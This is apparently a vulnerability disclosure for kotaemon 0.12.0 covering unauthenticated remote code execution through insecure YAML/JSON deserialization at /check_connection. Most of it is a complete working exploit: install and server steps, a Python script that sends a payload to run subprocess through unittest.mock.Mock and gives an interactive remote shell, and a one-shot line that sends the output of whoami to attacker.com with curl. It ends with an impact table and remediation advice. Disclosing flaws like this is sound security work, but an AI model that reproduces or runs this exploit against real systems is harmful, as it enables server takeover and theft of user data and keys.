[Security] Unauthenticated RCE via Insecure Deserialization in /check_connection endpoint

# libs/ktem/ktem/llms/ui.py  lines 243-245
self._check_connection_btn.click(
    self.check_connection,
    inputs=[self.selected_llm_name, self.edit_spec],   # ← no user_id
    ...
)

async def check_connection(self, selected_llm_name, edit_spec):
    ...
    spec = yaml.load(selected_spec, Loader=YAMLNoDateSafeLoader)  # attacker YAML
    info["spec"].update(spec)           # ← attacker overwrites __type__
    ...
    llm = deserialize(info["spec"], safe=False)   # ← arbitrary class instantiation
    resp = await llm("Hi")
    self._log.append(f"Got response: {resp}")

def deserialize(spec, safe=True):
    module_name, obj_name = spec["__type__"].rsplit(".", 1)
    cls = getattr(importlib.import_module(module_name), obj_name)
    return cls(**{k: v for k, v in spec.items() if k != "__type__"})

## PoC

### Step 1 — Install kotaemon


git clone https://github.com/Cinnamon/kotaemon
cd kotaemon
git checkout v0.12.0           # or download the 0.12.0 release tarball

# Create venv with Python 3.11
uv venv --python 3.11 .venv
source .venv/bin/activate

# Install core libs (skip [all] to avoid Rust dependency)
uv pip install -e "libs/kotaemon" -e "libs/ktem"

# Pin compatible versions (avoids langchain / huggingface_hub breakage)
uv pip install \
  "huggingface_hub==0.25.2" \
  "langchain==0.2.15" "langchain-core==0.2.43" \
  "langchain-community==0.2.11" "langchain-openai==0.1.25" \
  "langchain-text-splitters==0.2.4" "langsmith==0.1.147" \
  "gradio-client"


### Step 2 — Start the server


KH_FEATURE_USER_MANAGEMENT=true \
KH_ENABLE_FIRST_SETUP=false \
GRADIO_SERVER_NAME=0.0.0.0 \
GRADIO_SERVER_PORT=7860 \
nohup .venv/bin/python app.py > /tmp/kotaemon.log 2>&1 &

# Wait ~15 seconds for startup
tail -f /tmp/kotaemon.log   # press Ctrl-C when you see "Running on http://"


The server is now reachable at `http://<host>:7860`. No login is required for the exploit.

### Step 3 — Save the interactive RCE shell

Create file `rce_shell.py`:


#!/usr/bin/env python3
"""
PoC — Unauthenticated RCE in kotaemon 0.12.0
Exploit: /check_connection endpoint, insecure deserialize(safe=False)
No credentials required.

Usage:
    python rce_shell.py                         # interactive shell
    python rce_shell.py "id; uname -a"          # one-shot command
    python rce_shell.py http://TARGET:7860       # remote target (interactive)
    python rce_shell.py http://TARGET:7860 "id" # remote target (one-shot)
"""
import json, re, html, sys, uuid
from gradio_client import Client

DEFAULT_URL = "http://127.0.0.1:7860"


def build_payload(cmd: str) -> str:
    """
    Craft a JSON spec that deserialize(safe=False) will turn into:
      unittest.mock.Mock(
          return_value = subprocess.check_output(["sh","-c",cmd], text=True)
      )
    When the server calls llm("Hi"), Mock.__call__ returns the subprocess
    output string, which is embedded verbatim in the HTTP response.
    '; true' forces exit-code 0 so stderr is still captured instead of
    raising CalledProcessError before the response is sent.
    """
    spec = {
        "__type__": "unittest.mock.Mock",
        "return_value": {
            "__type__": "subprocess.check_output",
            "args": ["sh", "-c", cmd + " 2>&1; true"],
            "text": True,
        },
    }
    return json.dumps(spec)


def run_cmd(client: Client, llm_name: str, cmd: str) -> str:
    resp = client.predict(llm_name, build_payload(cmd), api_name="/check_connection")
    m = re.search(r"Got response:(.*?)</mark>", resp, re.S)
    if m:
        return html.unescape(m.group(1)).strip("\n")
    return html.unescape(re.sub(r"<[^>]+>", "", resp)).strip()


def main():
    args = sys.argv[1:]
    url = DEFAULT_URL
    oneshot = None
    if args:
        if args[0].startswith("http://") or args[0].startswith("https://"):
            url = args[0]
            args = args[1:]
        if args:
            oneshot = " ".join(args)

    print(f"[*] Target  : {url}")
    client = Client(url, verbose=False)

    # Create a throw-away LLM entry (unauthenticated endpoint)
    llm_name = "poc_" + uuid.uuid4().hex[:8]
    try:
        client.predict(llm_name, "ChatOpenAI", "{}", False, api_name="/create_llm")
    except Exception as e:
        print("[!] create_llm:", e)
    print(f"[*] LLM slot: {llm_name}  (no login required)\n")

    if oneshot is not None:
        print(run_cmd(client, llm_name, oneshot))
        return

    print("[*] Interactive RCE shell ready. Type a command or 'exit'.")
    while True:
        try:
            cmd = input("RCE> ").strip()
        except (EOFError, KeyboardInterrupt):
            print("\n[*] bye")
            break
        if not cmd:
            continue
        if cmd in ("exit", "quit"):
            print("[*] bye")
            break
        try:
            print(run_cmd(client, llm_name, cmd))
        except Exception as e:
            print("[!] error:", e)


if __name__ == "__main__":
    main()


### Step 4 — Run the exploit


# Install only the lightweight Gradio client (no server needed on attacker machine)
pip install gradio-client

# Interactive shell — no credentials, no session cookie
python rce_shell.py http://<target>:7860


### Step 5 — Expected output


[*] Target  : http://127.0.0.1:7860
[*] LLM slot: poc_3f9a1c2d  (no login required)

[*] Interactive RCE shell ready. Type a command or 'exit'.
RCE> id
uid=1000(kali) gid=1000(kali) groups=1000(kali)

One-shot variant (e.g. for scripted exploitation):


python rce_shell.py http://<target>:7860 "curl -s http://attacker.com/$(whoami)"


---

## Impact

| Category | Detail |
|---|---|
| Confidentiality | Full read access to all files the process can reach: application source, SQLite database (all user password hashes, all conversation content including private chats), environment variables, API keys in config files |
| Integrity | Arbitrary file write/delete; database modification; injection of backdoors into application code |
| Availability | Process kill, disk fill, resource exhaustion |
| Scope | Server-side OS-level code execution; if the server is containerized, container escape via mounted volumes or misconfigured Docker socket |
| Who is affected | Every deployment of kotaemon with the web interface exposed — authentication is not a prerequisite; the vulnerable endpoint is accessible to anonymous HTTP clients |
| Privileges required | None. No API key, no session cookie, no valid user account |
| User interaction | None. Fully automated, single HTTP exchange |


## Suggested Remediation

1. **Immediate:** Remove `safe=False` from all `deserialize()` calls in `llms/ui.py`, `index/`, and `app.py`. Switch to an allowlist of permitted class paths.
2. **Short-term:** Add `user_id` as a wired `gr.State` input to `check_connection` and `create_llm`; enforce `admin=True` server-side before executing any LLM management action.
3. **Long-term:** Adopt a proper RBAC middleware layer that wraps Gradio event handlers, rather than relying on client-side tab visibility for access control.